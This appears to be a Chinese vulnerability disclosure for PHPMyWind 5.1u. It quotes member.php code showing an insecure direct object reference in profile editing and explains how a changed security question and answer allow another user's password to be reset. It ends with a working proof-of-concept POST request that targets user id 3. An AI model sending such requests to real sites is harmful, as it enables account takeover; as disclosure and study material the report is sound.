### 简要描述:
PHPMyWind任意用户密码重置
### 详细说明:
首先我们注册两个用户
第一个叫jkgh006
第二个叫test123
那么我们下来分析一下代码:
member.php:
```
else if($a == 'saveedit')
{
//检测数据完整性
if($password!=$repassword or $email=='')
{
header('location:?c=edit');
exit();
}
//HTML转义变量
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone = htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);
//检测旧密码是否正确
if($password != '')
{
$oldpassword = md5(md5($oldpassword));
$r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'");
if($r['password'] != $oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}
$sql = "UPDATE `#@__member` SET ";
if($password != '')
{
$password = md5(md5($password));
$sql .= "password='$password', ";
}
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id";
if($dosql->ExecNoneQuery($sql))
{
ShowMsg('资料更新成功!','?c=edit');
exit();
}
}
```
这里有一个逻辑缺陷 ,如果输入密码,则才对密码相关的做检测
第一步 我们把密码置空
然后一路小跑到
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id";
看见问题了没有后面直接是id=$id也就是说我们可以越权修改别人信息了,这里我讲的不是越权问题
通过这个我们修改两个字段
第一个 question
第二个 answer
下来我们要分析为什么要修改这两个字段,直接到找回密码处,看看代码怎么写的
member.php:
```
//找回密码
else if($a == 'quesfind')
{
if(!isset($_POST['uname']))
{
header('location:?c=findpwd');
exit();
}
//验证输入数据
if($question == '-1' or $answer == '')
{
header('location:?c=findpwd');
exit();
}
$r = $dosql->GetOne("SELECT `question`,`answer` FROM `#@__member` WHERE `username`='$uname'");
if($r['question']==0 or !isset($r['answer']))
{
ShowMsg('此账号未填写验证问题,请选择其他方式找回!','?c=findpwd');
exit();
}
else if($question != $r['question'] or $answer != $r['answer'])
{
ShowMsg('您填写的验证问题或答案不符!','?c=findpwd');
exit();
}
else
{
//验证通过,采用SESSION存储用户名
@session_start();
$_SESSION['fid_'.$uname] = $uname;
}
}
```
这里只是通过问题答案一路存储到session里面 session里面的这个东西正好就只是找回密码下一次的凭证
```
/设置新密码
else if($a == 'setnewpwd')
{
@session_start();
if(isset($_SESSION['fid_'.$_POST['uname']]))
{
if($_SESSION['fid_'.$_POST['uname']] != $_POST['uname'])
{
ShowMsg('非法操作,找回用户名与上一步输入不符合!','?c=findpwd');
unset($_SESSION['fid_'.$_POST['uname']]);
exit();
}
}
else
{
header('location:?c=findpwd');
exit();
}
//初始化参数
$uname = empty($uname) ? '' : $uname;
$password = empty($password) ? '' : md5(md5($password));
$repassword = empty($repassword) ? '' : md5(md5($repassword));
//验证输入数据
if($uname == '' or
$password == '' or
$repassword == '' or
$password != $repassword or
preg_match("/[^0-9a-zA-Z_-]/",$password))
{
header('location:?c=findpwd');
exit();
}
if($dosql->ExecNoneQuery("UPDATE `#@__member` SET password='$password' WHERE username='$uname'"))
{
```
if($_SESSION['fid_'.$_POST['uname']] != $_POST['uname']) 这一句提交相同 那就ok了
### 漏洞证明:
证明如下:
发送url:
POST /PHPMyWind_5.1u/member.php?a=saveedit HTTP/1.1
Host: localhost
postdata:
oldpassword=&password=&repassword=&question=1&answer=ffff&cnname=xxxx&enname=xxxx&sex=0&birthtype=0&birth_year=-1&birth_month=-1&birth_day=-1&astro=-1&bloodtype=-1&trade=-1&live_prov=-1&live_city=-1&live_country=-1&home_prov=-1&home_city=-1&home_country=-1&cardtype=-1&cardnum=&intro=&email=test%40test.com&qqnum=&mobile=&telephone=&address_prov=-1&address_city=-1&address_country=-1&address=&zipcode=&action=update&id=3
当前用户是jkgh006 id为2 我们改为3 然后修改了test123的问题回答
[<img src="https://images.seebug.org/upload/201507/291256421b156569cd5416943b0f18e27525fc92.jpg" alt="q1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/291256421b156569cd5416943b0f18e27525fc92.jpg)
[<img src="https://images.seebug.org/upload/201507/2912565248eafeb37077958b13943f80e6235cd1.jpg" alt="q2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/2912565248eafeb37077958b13943f80e6235cd1.jpg)
暂无评论